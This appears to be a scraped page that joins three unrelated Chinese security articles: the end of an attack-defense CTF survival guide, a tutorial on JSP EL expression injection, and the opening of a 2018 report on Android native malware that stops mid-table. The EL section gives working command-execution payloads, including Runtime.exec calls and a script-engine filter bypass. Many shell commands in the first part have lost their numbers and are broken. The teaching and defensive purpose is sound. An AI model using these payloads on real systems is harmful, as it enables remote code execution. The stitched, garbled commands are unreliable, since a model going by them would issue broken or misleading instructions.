netstat -antulp | grep EST
#查看指定端口被哪个进程占用
lsof -i:端口号 或者 netstat -tunlp|grep 端口号
#结束进程命令
kill PID
killall <进程名>
kill - <PID>
#封杀某个IP或者ip段，如：.
iptables -I INPUT -s . -j DROP
iptables -I INPUT -s ./ -j DROP
#禁止从某个主机ssh远程访问登陆到本机，如123..
iptable -t filter -A INPUT -s . -p tcp --dport -j DROP
#检测所有的tcp连接数量及状态
netstat -ant|awk |grep |sed -e -e |sort|uniq -c|sort -rn
#查看页面访问排名前十的IP
cat /var/log/apache2/access.log | cut -f1 -d | sort | uniq -c | sort -k -r | head -
#查看页面访问排名前十的URL
cat /var/log/apache2/access.log | cut -f4 -d | sort | uniq -c | sort -k -r | head -
* 如果有root权限可以用chattr命令防止系统中某个关键文件被修改chattr +i /etc/resolv.conf如果想进行修改，必须用命令”chattr -i”取消隐藏属性
* ls -t 按修改时间来看最新被修改的文件
### 流量监控
流量监控也是可以使用aoiawd进行，aoiawd还是在后边，或者用别的脚本记录流量，有的比赛也会定时提供上阶段流量
被上马一定要先备份到本地，再删除、去分析反打别人
#### php流量监控
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$time = date('Y-m-d H:i:s',time()); //访问时间
$logadd = '来访时间：'.$time.'-->'.'访问链接：'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>
#### weblogger
[一个针对php的web流量抓取、分析的应用。](https://github.com/wupco/weblogger)
使用方法
cd /var/www/html/ (or other web dir)
git clone https://github.com/wupco/weblogger.git
chmod -R 777 weblogger/
open http://xxxxx/weblogger/install.php in Web browser
install it
### wireshark
#### 过滤IP地址
> (1) ip.addr == 192.168.1.1 //只显示源/目的IP为192.168.1.1的数据包 (2) not ip.src ==
> 1.1.1.1 //不显示源IP为1.1.1.1的数据包 (3 ip.src == 1.1.1.1 or ip.dst == 1.1.1.2
> //只显示源IP为1.1.1.1或目的IP为1.1.1.2的数据包
#### 过滤端口
> (1) tcp.port eq 80 #不管端口是来源还是目的都显示80端口 (2) tcp.port == 80 (3) tcp.port eq
> 2722 (4) tcp.port eq 80 or udp.port eq 80 (5) tcp.dstport == 80
> #只显示tcp协议的目标端口80 (6) tcp.srcport == 80 #只显示tcp协议的来源端口80 (7) udp.port eq
> 15000 (8) tcp.port >= 1 and tcp.port <= 80 #过滤端口范围
#### 过滤MAC地址
> (1) eth.dst == MAC地址 #过滤目标MAC (2) eth.src eq MAC地址 #过滤来源MAC (3)eth.addr eq
> MAC地址 #过滤来源MAC和目标MAC都等于MAC地址的
#### http请求方式过滤
> (1) http.request.method == “GET” (2) http.request.method == “POST” (3)
> http.host mathes
> “www.baidu.com|[http://baidu.cn](https://link.zhihu.com/?target=http%3A//baidu.cn)“
> #matches可以写多个域名 (4) http.host contains
> “[http://www.baidu.com](https://link.zhihu.com/?target=http%3A//www.baidu.com)“
> #contain只能写一个域名 (5) http contains “GET” 例如： http.request.method ==”GET” &&
> http contains “Host: “ http.request.method == “GET” && http contains “User-> Agent: “ http.request.method ==”POST” && http contains “Host: “
> http.request.method == “POST” && http contains “User-Agent: “ http contains
> “HTTP/1.1 200 OK” && http contains “Content-Type: “ http contains “HTTP/1.0
> 200 OK” && http contains “Content-Type: “
#### TCPdump分析
> tcpdump采用命令行方式，它的命令格式为：tcpdump [-adeflnNOpqStvx0] [-c 数量] [-F 文件名] [-i 网络接口]
> [-r 文件名] [-s snaplen] [-T 类型] [-w 文件名] [表达式]
详细参数：
抓包选项：|作用 —-|— -c：|指定要抓取的包数量。 -i interface：|指定tcpdump需要监听的接口。默认会抓取第一个网络接口
-n|：对地址以数字方式显式，否则显式为主机名，也就是说-n选项不做主机名解析。 -nn：|除了-n的作用外，还把端口显示为数值，否则显示端口服务名。
-P：|指定要抓取的包是流入还是流出的包。可以给定的值为”in”、”out”和”inout”，默认为”inout”。 -s
len：|设置tcpdump的数据包抓取长度为len，如果不设置默认将会是65535字节。对于要抓取的数据包较大时，长度设置不够可能会产生包截断，若出现包截断，输出行中会出现”[proto]”的标志(proto实际会显示为协议名)。但是抓取len越长，包的处理时间越长，并且会减少tcpdump可缓存的数据包的数量，从而会导致数据包的丢失，所以在能抓取我们想要的包的前提下，抓取长度越小越好。
输出选项：| 作用 ———|—- -e：|输出的每行中都将包括数据链路层头部信息，例如源MAC和目标MAC。
-q：|快速打印输出。即打印很少的协议相关信息，从而输出行都比较简短。 -X：|输出包的头部数据，会以16进制和ASCII两种方式同时输出。
-XX：|输出包的头部数据，会以16进制和ASCII两种方式同时输出，更详细。 -v：|当分析和打印的时候，产生详细的输出。 -vv：|产生比-v更详细的输出。 -vvv：|产生比-vv更详细的输出。
其他功能性选项：|作用 —-|—- -D：|列出可用于抓包的接口。将会列出接口的数值编号和接口名，它们都可以用于”-i”后。
-F：|从文件中读取抓包的表达式。若使用该选项，则命令行中给定的其他表达式都将失效。 -w：|将抓包数据输出到文件中而不是标准输出。可以同时配合”-G
time|选项使得输出文件每time秒就自动切换到另一个文件。可通过”-r”选项载入这些文件以进行分析和打印。
-r：|从给定的数据包文件中读取数据。使用”-“表示从标准输入中读取。
#### 端口过滤
抓取所有经过ens33，目的或源端口22的网络数据：
tcpdump -i ens33 port 22
指定源端口：tcpdump -i ens33 sec port 22
指定目的端口: tcpdump -i ens33 dst port 22
#### 网络过滤
tcpdump -i ens33 net 192.168.1.1
tcpdump -i ens33 src net 192.168.1.1 #源端口
tcpdump -i ens33 dst net 192.168.1.1 #目的端口
#### 协议过滤
tcpdump -i ens33 arp
tcpdump -i ens33 ip
tcpdump -i ens33 tcp
tcpdump -i ens33 udp
tcpdump -i ens33 icmp
tcpdump -w 1.pcap #抓所有包保存到1.pcap中然后使用wireshark分析
### apache2日志
/var/log/apache2/
/usr/local/apache2/logs
### awd中linux的命令
- netstat -anptl 查看开放端口
- ps aux 以用户为主的格式来查看所有进程
pa aux | grep tomcat
ps -A 显示进程信息
ps -u root 显示root进程用户信息
ps -ef 显示所有命令，连带命令行
- kill 终止进程
kill -9 pid
//kill -15、kill -9的区别
执行kill（默认kill -15）命令，执行kill (默认kill-15) 命令，系统会发送一个SIGTERM信号给对应的程序，,大部分程序接收到SIGTERM信号后，会先kill -9命令,系统给对应程序发送的信号是SIGKILL,即exit。exit信号不会被系统阻塞，所以kill -9能顺利杀掉进程
- vim编辑器
命令行模式下
/ 查找内容
? 查找内容
n 重复上一条检索命令
N 命令重复上一条检索命令
## 两个awd神器
### AoiAWD
aoiawd地址：<https://github.com/DasSecurity-HatLab/AoiAWD>
下载好，自己去编译或者找编译好的直接用
#### 使用
把刚刚那些文件夹中的生成的文件例如xxx.phar等发送到提供给的靶机上去，然后记得赋予权限，ip是自己电脑ip，端口就是默认8023
# web的流量监控
chmod +x tapeworm.phar
# 进程监控
chmod +x roundworm
# pwn的监控
chmod +x guardian.phar
./tapeworm.phar -d 目录 -s ip:port
./roundworm -w 目录 -s ip -p port
./guardian.phar -i 目录 -s ip:port
./tapeworm.phar -d /var/www/html -s ip
./roundworm -w /var/www/html -s ip -p
./guardian.phar -i /var/www/html -s ip
本地需要在命令行启动aoiawd
启动方式：
php aoiawd.phar
web端口1337
token就是命令行启动时access token
成功进入页面
左侧可以看到各个模块，使用方式非常简单
#### 指定端口重放
需要将上边的单个ip的注释掉，下边的这个改ip和端口
// 批量端口
$ports = [10024, 10021, 10023];
$host1 = "http://" . '10.241.180.159';
foreach ($ports as $port) {
$host = $host1 . ':' . $port;
echo "Sending to: {$host}\n\n";
sendPayload($host);
}
exit;
### watchbird
这是个通防waf，支持流量转发和替换flag
地址：<https://github.com/leohearts/awd-watchbird>
## Fix
一个大佬总结的漏洞快修思路
<https://qftm.github.io/2019/08/03/AWD-Bugs-Fix/>
最后：
保持良好的心态，不到最后一刻都有翻盘的可能
找出漏洞拿到shell，权限维持后，尽量把这个洞给被控机修了，以免被别人拿到shell
不仅要保证自己能拿到shell，还有保证别人拿不到shell
拿shell前先打一波流量，混淆视听
保证自己的网站上没有d盾可以扫出来的后门
提高python脚本编写能力
## 优秀文章
[《CTF线下赛AWD模式下的生存技巧》](https://www.anquanke.com/post/id/84675)
[《论如何在CTF比赛中搅“shi”》](http://www.freebuf.com/articles/web/118149.html)
[《CTF线下防御战 — 让你的靶机变成“铜墙铁壁”》](https://www.anquanke.com/post/id/86984)
[AWD攻防赛webshell批量利用框架](https://github.com/Ares-X/AWD-Predator-Framework)
[针对ctf线下赛流量抓取(php)、真实环境流量抓取分析的工具](https://github.com/wupco/weblogger)
[AWD攻防赛脚本集合](https://github.com/admintony/Prepare-for-AWD)
[CTFDefense](https://github.com/ssooking/CTFDefense) | 社区文章 |
## 0x01 EL简介
EL（Expression Language） 是为了使JSP写起来更加简单。表达式语言的灵感来自于 ECMAScript 和 XPath
表达式语言，它提供了在 JSP 中简化表达式的方法，让Jsp的代码更加简化。
EL表达式主要功能如下：
* 获取数据：EL表达式主要用于替换JSP页面中的脚本表达式，以从各种类型的Web域中检索Java对象、获取数据（某个Web域中的对象，访问JavaBean的属性、访问List集合、访问Map集合、访问数组）；
* 执行运算：利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算，以在JSP页面中完成一些简单的逻辑运算，例如`${user==null}`；
* 获取Web开发常用对象：EL表达式定义了一些隐式对象，利用这些隐式对象，Web开发人员可以很轻松获得对Web常用对象的引用，从而获得这些对象中的数据；
* 调用Java方法：EL表达式允许用户开发自定义EL函数，以在JSP页面中通过EL表达式调用Java类的方法；
## 0x02 基本语法
### EL语法
在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以`${}`表示。例如，`${
userinfo}`代表获取变量userinfo的值。当EL表达式中的变量不给定范围时，则默认在page范围查找，然后依次在request、session、application范围查找。也可以用范围作为前缀表示属于哪个范围的变量，例如：`${
pageScope. userinfo}`表示访问page范围中的userinfo变量。
简单地说，使用EL表达式语法：`${EL表达式}`
其中， **EL表达式和JSP代码等价转换** 。事实上，可以将EL表达式理解为一种简化的JSP代码。
扩展JSP代码的写法总结：
* JSP表达式：`<%=变量或表达式>`
向浏览器输出变量或表达式的计算结果。
* JSP脚本：`<%Java代码%>`
执行java代码的原理：翻译到_jspService()方法中。
* JSP声明：`<%!变量或方法%>`
声明jsp的成员变量或成员方法。
* JSP注释：`<%!--JSP注释--%>`
用于注释JSP代码，不会翻译到Java文件中，也不会执行。
### [ ]与.运算符
EL表达式提供`.`和`[]`两种运算符来存取数据。
当要存取的属性名称中包含一些特殊字符，如`.`或`-`等并非字母或数字的符号，就一定要使用`[]`。例如：`${user.My-Name}`应当改为`${user["My-Name"]}`。
如果要动态取值时，就可以用`[]`来做，而`.`无法做到动态取值。例如：`${sessionScope.user[data]}`中data 是一个变量。
### 变量
EL表达式存取变量数据的方法很简单，例如：`${username}`。它的意思是取出某一范围中名称为username的变量。因为我们并没有指定哪一个范围的username，所以它会依序从Page、Request、Session、Application范围查找。假如途中找到username，就直接回传，不再继续找下去，但是假如全部的范围都没有找到时，就回传""。EL表达式的属性如下：
属性范围在EL中的名称 |
---|---
Page | PageScope
Request | RequestScope
Session | SessionScope
Application | ApplicationScope
JSP表达式语言定义可在表达式中使用的以下文字：
文字 | 文字的值
---|---
Boolean | true 和 false
Integer | 与 Java 类似。可以包含任何整数，例如 24、-45、567
Floating Point | 与 Java 类似。可以包含任何正的或负的浮点数，例如 -1.8E-45、4.567
String |
任何由单引号或双引号限定的字符串。对于单引号、双引号和反斜杠，使用反斜杠字符作为转义序列。必须注意，如果在字符串两端使用双引号，则单引号不需要转义。
Null | null
### 操作符
JSP表达式语言提供以下操作符，其中大部分是Java中常用的操作符：
术语 | 定义
---|---
算术型 | +、-（二元）、*、/、div、%、mod、-（一元）
逻辑型 | and、&&、or、双管道符、!、not
关系型 | ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较，或与布尔型、字符串型、整型或浮点型文字进行比较。
空 | empty 空操作符是前缀操作，可用于确定值是否为空。
条件型 | A ?B :C。根据 A 赋值的结果来赋值 B 或 C。
### 隐式对象
JSP表达式语言定义了一组隐式对象，其中许多对象在 JSP scriplet 和表达式中可用：
术语 | 定义
---|---
pageContext | JSP页的上下文，可以用于访问 JSP 隐式对象，如请求、响应、会话、输出、servletContext
等。例如，`${pageContext.response}`为页面的响应对象赋值。
此外，还提供几个隐式对象，允许对以下对象进行简易访问：
术语 | 定义
---|---
param | 将请求参数名称映射到单个字符串参数值（通过调用 ServletRequest.getParameter (String name)
获得）。getParameter (String) 方法返回带有特定名称的参数。表达式`${param . name}`相当于
request.getParameter (name)。
paramValues | 将请求参数名称映射到一个数值数组（通过调用 ServletRequest.getParameter (String name)
获得）。它与 param 隐式对象非常类似，但它检索一个字符串数组而不是单个值。表达式 `${paramvalues. name}` 相当于
request.getParamterValues(name)。
header | 将请求头名称映射到单个字符串头值（通过调用 ServletRequest.getHeader(String name) 获得）。表达式
`${header. name}` 相当于 request.getHeader(name)。
headerValues | 将请求头名称映射到一个数值数组（通过调用 ServletRequest.getHeaders(String)
获得）。它与头隐式对象非常类似。表达式`${headerValues. name}`相当于 request.getHeaderValues(name)。
cookie | 将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式`${cookie.
name .value}`返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie，则应该使用`${headerValues.
name}`表达式。
initParam | 将上下文初始化参数名称映射到单个值（通过调用 ServletContext.getInitparameter(String
name) 获得）。
除了上述两种类型的隐式对象之外，还有些对象允许访问多种范围的变量，如 Web 上下文、会话、请求、页面：
术语 | 定义
---|---
pageScope | 将页面范围的变量名称映射到其值。例如，EL 表达式可以使用`${pageScope.objectName}`访问一个 JSP
中页面范围的对象，还可以使用`${pageScope .objectName. attributeName}`访问对象的属性。
requestScope | 将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如，EL 表达式可以使用`${requestScope.
objectName}`访问一个 JSP 请求范围的对象，还可以使用`${requestScope. objectName.
attributeName}`访问对象的属性。
sessionScope | 将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如：`${sessionScope. name}`
applicationScope | 将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。
#### pageContext对象
pageContext对象是JSP中pageContext对象的引用。通过pageContext对象，您可以访问request对象。比如，访问request对象传入的查询字符串，就像这样：
${pageContext.request.queryString}
#### Scope对象
pageScope，requestScope，sessionScope，applicationScope变量用来访问存储在各个作用域层次的变量。
举例来说，如果您需要显式访问在applicationScope层的box变量，可以这样来访问：applicationScope.box。
<%
pageContext.setAttribute("name","mi1k7ea_page");
request.setAttribute("name","mi1k7ea_request");
session.setAttribute("user","mi1k7ea_session");
application.setAttribute("user","mi1k7ea_application");
%>
pageScope.name:${pageScope.name}
</br>
requestScope.name : ${requestScope.name}
</br>
sessionScope.user : ${sessionScope.user}
</br>
applicationScope.user : ${applicationScope.user}
#### param和paramValues对象
param和paramValues对象用来访问参数值，通过使用request.getParameter方法和request.getParameterValues方法。
举例来说，访问一个名为order的参数，可以这样使用表达式：${param.order}，或者${param["order"]}。
接下来的例子表明了如何访问request中的username参数：
<%@ page import="java.io.*,java.util.*" %>
<%
String title = "Accessing Request Param";
%>
<html>
<head>
<title><% out.print(title); %></title>
</head>
<body>
<center>
<h1><% out.print(title); %></h1>
</center>
<div align="center">
<p>${param["username"]}</p>
</div>
</body>
</html>
param对象返回单一的字符串，而paramValues对象则返回一个字符串数组。
#### header和headerValues对象
header和headerValues对象用来访问信息头，通过使用request.getHeader()方法和request.getHeaders()方法。
举例来说，要访问一个名为user-agent的信息头，可以这样使用表达式：`${header.user-agent}`，或者`${header["user-agent"]}`。
接下来的例子表明了如何访问user-agent信息头：
<%@ page import="java.io.*,java.util.*" %>
<%
String title = "User Agent Example";
%>
<html>
<head>
<title><% out.print(title); %></title>
</head>
<body>
<center>
<h1><% out.print(title); %></h1>
</center>
<div align="center">
<p>${header["user-agent"]}</p>
</div>
</body>
</html>
运行结果如下：
header对象返回单一值，而headerValues则返回一个字符串数组。
### EL中的函数
EL允许您在表达式中使用函数。这些函数必须被定义在自定义标签库中。函数的使用语法如下：
${ns:func(param1, param2, ...)}
ns指的是命名空间（namespace），func指的是函数的名称，param1指的是第一个参数，param2指的是第二个参数，以此类推。比如，有函数fn:length，在JSTL库中定义，可以像下面这样来获取一个字符串的长度：
${fn:length("Get my length")}
要使用任何标签库中的函数，您需要将这些库安装在服务器中，然后使用`<taglib>`标签在JSP文件中包含这些库。
### EL表达式调用Java方法
看个例子即可。
先新建一个ELFunc类，其中定义的doSomething()函数用于给输入的参数字符拼接".com"形成域名返回：
package eltest;
public class ELFunc {
public static String doSomething(String str){
return str + ".com";
}
}
接着在WEB-INF文件夹下（除lib和classess目录外）新建test.tld文件，其中指定执行的Java方法及其URI地址：
<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
<tlib-version>1.0</tlib-version>
<short-name>ELFunc</short-name>
<uri>http://www.mi1k7ea.com/ELFunc</uri>
<function>
<name>doSomething</name>
<function-class>eltest.ELFunc</function-class>
<function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
</function>
</taglib>
JSP文件中，先头部导入taglib标签库，URI为test.tld中设置的URI地址，prefix为test.tld中设置的short-name，然后直接在EL表达式中使用`类名:方法名()`的形式来调用该类方法即可：
<%@taglib uri="http://www.mi1k7ea.com/ELFunc" prefix="ELFunc"%>
${ELFunc:doSomething("mi1k7ea")}
## 0x03 JSP中启动/禁用EL表达式
### 全局禁用EL表达式
web.xml中进入如下配置：
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>
### 单个文件禁用EL表达式
在JSP文件中可以有如下定义：
<%@ page isELIgnored="true" %>
该语句表示是否禁用EL表达式，TRUE表示禁止，FALSE表示不禁止。
JSP2.0中默认的启用EL表达式。
例如如下的JSP代码禁用EL表达式：
<%@ page isELIgnored="true" %>
${pageContext.request.queryString}
## 0x04 EL表达式注入漏洞
EL表达式注入漏洞和SpEL、OGNL等表达式注入漏洞是一样的漏洞原理的，即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。
一般的，EL表达式注入漏洞的外部可控点入口都是在Java程序代码中，即Java程序中的EL表达式内容全部或部分是从外部获取的。
### 通用PoC
//对应于JSP页面中的pageContext对象（注意：取的是pageContext对象）
${pageContext}
//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
//文件头参数
${header}
//获取webRoot
${applicationScope}
//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
比如我们在Java程序中可以控制输入EL表达式如下：
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
如果该EL表达式直接在JSP页面中执行，则触发任意代码执行漏洞：
但是在实际场景中，是几乎没有也无法直接从外部控制JSP页面中的EL表达式的。而目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的。
### CVE-2011-2730
命令执行PoC如下：
<spring:message text=
"${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">
</spring:message>
再比如：
<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
<spring:message text="${param.a}"></spring:message>
访问`http://localhost/XXX.jsp?a=$](https://links.jianshu.com/go?to=http%3A%2F%2Flocalhost%2FXXX.jsp%3Fa%3D%24){applicationScope}`。
容器第一次执行EL表达式`${param.a}`获得了我们输入的`${applicationScope}`，然后Spring标签获取容器的EL表达式求值对象，把`${applicationScope}`再次执行掉，形成了漏洞。
### Wooyun案例
参考Wooyun镜像上的案例：
[搜狗某系统存在远程EL表达式注入漏洞(命令执行)](https://wooyun.x10sec.org/static/bugs/wooyun-2016-0195845.html)
[工商银行某系统存在远程EL表达式注入漏洞(命令执行)](https://wooyun.x10sec.org/static/bugs/wooyun-2016-0196160.html)
### JUEL示例
下面我们直接看下在Java代码中EL表达式注入的场景是怎么样的。
EL曾经是JSTL的一部分。然后，EL进入了JSP 2.0标准。现在，尽管是JSP 2.1的一部分，但EL API已被分离到包javax.el中，
并且已删除了对核心JSP类的所有依赖关系。换句话说：EL已准备好在非JSP应用程序中使用！
也就是说，现在EL表达式所依赖的包javax.el等都在JUEL相关的jar包中。
JUEL（Java Unified Expression
Language）是统一表达语言轻量而高效级的实现，具有高性能，插件式缓存，小体积，支持方法调用和多参数调用，可插拔多种特性。
更多参考官网：<http://juel.sourceforge.net/>
需要的jar包：juel-api-2.2.7、juel-spi-2.2.7、juel-impl-2.2.7。
Test.java，利用反射调用Runtime类方法实现命令执行：
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
public class Test {
public static void main(String[] args) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
// failed
// String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}";
// ok
String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
System.out.println(valueExpression.getValue(simpleContext));
}
}
运行即触发：
## 0x05 绕过方法
这里针对前面在Java代码中注入EL表达式的例子来演示。其实绕过方法和SpEL表达式注入是一样的。
### 利用反射机制绕过
即前面Demo的PoC，注意一点的就是这里不支持用字符串拼接的方式绕过关键字过滤。
### 利用ScriptEngine调用JS引擎绕过
同SpEL注入中讲到的：
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}
## 0x06 防御方法
* 尽量不使用外部输入的内容作为EL表达式内容；
* 若使用，则严格过滤EL表达式注入漏洞的payload关键字；
* 如果是排查Java程序中JUEL相关代码，则搜索如下关键类方法：
javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()
## 0x07 参考
[JSP 表达式语言](https://www.runoob.com/jsp/jsp-expression-language.html)
[EL表达式调用java方法](https://www.cnblogs.com/taoshihan/p/5638449.html)
[JAVA WEB EL表达式注入](https://www.cnblogs.com/junsec/p/11132652.html) | 社区文章 |
# Android Native病毒——2018年度研究报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 导语
“手机在手，天长地久。机不在手，魂都没有。”已成为大多数人的真实写照。随之而来的安全性也备受关注——试想当你的手机莫名其妙变慢变卡、一觉醒来欠下巨额话费，或是正在打团突然弹出广告，甚至遇上勒索病毒手机干脆没法用，是不是很气呀？
此时，很多用户意识到中毒，于是气愤地长按APP图标并将其卸载掉，正当他们以为永除后患可以高枕无忧的时候，熟悉的广告、APP图标又出现在眼前……还有些用户就比较“聪明”啦，他们选择“恢复出厂设置”，这种方法可以清除部分手机病毒，但如果他们遇到的是今天要介绍的Android
Native病毒，恢复出厂设置不仅没杀死病毒还会丢失数据。
我们今天要谈的就是这类没有桌面图标的“隐形”、破坏性强、潜藏在系统底层、难以摆脱的Android Native病毒。Android
Native病毒（ELF文件格式病毒），与APK病毒相比，更接近系统底层，隐蔽性和破坏性更强。此类病毒主要通过APK病毒植入系统，感染后通常独立于APK运行，普通用户无法通过常规手段清除，也有部分Native病毒通过刷机过程传播。
这类病毒2018年的“表现”如何？哪个安卓版本最容易受到Android
Native病毒的攻击？“受灾”手机在地域上出现怎样有趣的分布？认识几个“重量级”病毒家族之后，我们再聊聊2019年Android
Native病毒可能有哪些新的威胁。
## 0x01 Android Native病毒2018全景图
### 持续活跃的Android Native病毒
2018年全年，360核心安全技术中心累计监测到用户感染Android
Native病毒1279.2万，平均每天新增感染用户3.5万。由图可见，Android
Native病毒感染量整体呈上升趋势，8月份的感染量甚至突破了200万大关，随后的9-11月仍保持百万数量级水平，表明Android
Native病毒处于持续活跃状态。
### 2018年Android Native病毒感染地域分布
从地域分布来看，感染Android
Native病毒最多的省份为广东省，感染量占全国感染量的8.29%；其次为山东（7.95%）、河南（7.38%）、河北（7.21%）、江苏（6.34%），排名前十的省份感染量占了全国感染量的60%。
下图为2018年Android Native病毒感染量最多的十大城市。重庆用户感染Android
Native病毒最多，占全国城市的2.66%；其次是成都（1.37%）、天津（1.22%）、保定（1.19%）、石家庄（1.13%）。此外，位居Top10的城市还有北京、广州、郑州、西安、苏州。
### Android 5.1成为受灾最严重的安卓版本
2018年，受Android Native病毒影响的系统版本主要集中在Android5.1和Android4.4。
由于Android 5.1 及其以下版本平均漏洞数量较多，因此受病毒影响最严重，360核心安全技术中心的专家强烈建议用户及时更新系统版本或安装补丁。
### Android Native病毒主要危害
360核心安全技术中心在2018全年监测到的Android
Native病毒的分类统计如下图。可以看出，2018年Android平台新增Native病毒主要是恶意推广，占比高达33.5%；其次是恶意扣费，占比23%，二者已经占据了Android
Native病毒的半壁江山。
### 臭名昭著的Android Native病毒家族
从病毒家族来看，寄生灵系列病毒持续活跃，“寄生灵二代”、“寄生灵一代”病毒包揽了前两名，感染数量高达333.9万、246.1万，二者在TOP10
Android Native病毒家族的占比甚至超过了50%。
特别需要注意的是，此次上榜的还有两个64位Android Native病毒家族：Runas病毒、Dm病毒。
### 警惕高危传播途径
据统计，2018年Android Native病毒主要来自于色情应用、二次打包应用。
色情应用多年来稳居病毒传播途径第一位，一直是传播Android
Native病毒的理想载体，但大多数受害者抱着侥幸心理，亲身试验“看片一时爽，手机火葬场”的熟悉剧情。另外，将病毒隐藏在二次打包热门的应用中，也是Android
Native病毒的主要传播途径之一，熟悉的图标和应用名称容易使人放松警惕。因此，360核心安全技术中心的专家提醒广大网友，要想手机不中毒，必须养成良好的上网习惯，拒绝安装“来路不明”的手机软件，到官方网站或正规应用商店下载应用。
## 0x02 TOP级Android Native病毒家族年鉴
### “破坏性最强”的Android Native病毒
**响尾蝶**
系统文件破坏程度：★★★
用户数据破坏程度：★★★★
“响尾蝶”病毒自2015年起便藏匿于用户手机底层，持续活跃时间长达四年之久，其伪装为各种类型的APP，利用多个NDay漏洞获取系统最高权限，并在全球范围进行广泛传播，其踪迹遍及六大洲。
“响尾蝶”病毒特点之一为其对系统、用户数据的破坏性。病毒开发者为获得最大收益，不择手段清理掉一些系统应用和用户数据，为“响尾蝶”的恶意推广扫除障碍。
**X破坏者**
系统文件破坏程度：★★★★
用户数据破坏程度：★★★★
“破坏性最强”的Android
Native病毒家族少不了“X破坏者”——听名字就晓得是个惹不起的家伙。“X破坏者”病毒会发送扣费短信订制包月业务，并且疯狂下载安装应用，造成用户资费消耗。
此外，“X破坏者”最大的特点就是其疯狂的破坏行为：遍历系统目录/system/bin和/system/xbin，删除各种Root工具底层模块，还禁用安全软件，导致手机应用异常崩溃；甚至在获取到Root权限后卸载各种安全软件，以至于其他Root工具很难再得到权限，彻底清除病毒变得十分麻烦。几乎所有主流手机安全软件都会受到影响。
### “影响面最广”的ROOT类Android Native病毒
Root提权已逐渐成为Android
Native病毒的标配，病毒如果拿不到权限，再厉害的攻击技术也只能望洋兴叹，然而很多手机都是未开放root权限的，因此很多病毒选择通过利用漏洞获取手机root权限或是借助第三方工具完成root。下面我们就来揭晓下2018年度
“影响面最广”的两种ROOT类Android Native病毒。
**FakeADB**
影响版本数量：★★★★
ROOT成功率：★★★★
你以为只有宫斗剧才那般扣人心弦，但病毒的世界同样五彩斑斓，这不，FakeADB的病毒作者，就给大家上演了一出狸猫换太子的好戏。该作者通过借鉴XXRoot利用脏牛漏洞进行提权的root方案，将回调包名替换为“自身恶意APK包名”，摇身一变，获得了root权限。由于受脏牛（DirtyCow）漏洞影响的Android系统版本较多，加之正常的ELF文件和含有恶意文件的ELF只有这一处区别，特征不够明显，传统安全软件很难实现对该病毒的查杀，因而受感染用户数较多。
下图便是该病毒的执行流程。
**Rootnik病毒**
影响版本数量：★★★★
ROOT成功率：★★★
上面那位可谓演技卓群，然而，咱网红病毒也不是吃干饭的。曾经因“我决不将病毒感染给中国用户”而一夜走红的Rootnik病毒又有新动作了，近期，360核心安全研究人员发现，有不少国内Android用户也感染了该病毒，好吧，其实我是个演员。该类病毒多依靠色情类应用进行传播，相关应用都有着诱人的图标和名字，用户一旦下载安装，病毒APK就会向系统中释放大量恶意文件，进行广告等恶意推广；同时，该类应用多以色情封面诱惑用户支付费用进行视频观看，但大多没有实际内容。等用户发现被骗为时已晚，病毒早已深入系统底层。
值得注意的是，该病毒同时使用了android-rooting-tools开源root工具，以及ROOT大师等第三方root工具的提权方案进行提权，其主要使用的4个系统漏洞如下：
漏洞编号 | 漏洞描述 | 受影响版本 | 危害程度
---|---|---|---
CVE-2013-6282 | libput_user_exploit | Android4.3及以下 |
★★★
CVE-2014-3153 | TowelRoot | Android4.4及以下 |
★★★★★
CVE-2015-1805 | I/O矢量阵列溢出漏洞 | Android4.4及以下 |
★★★★
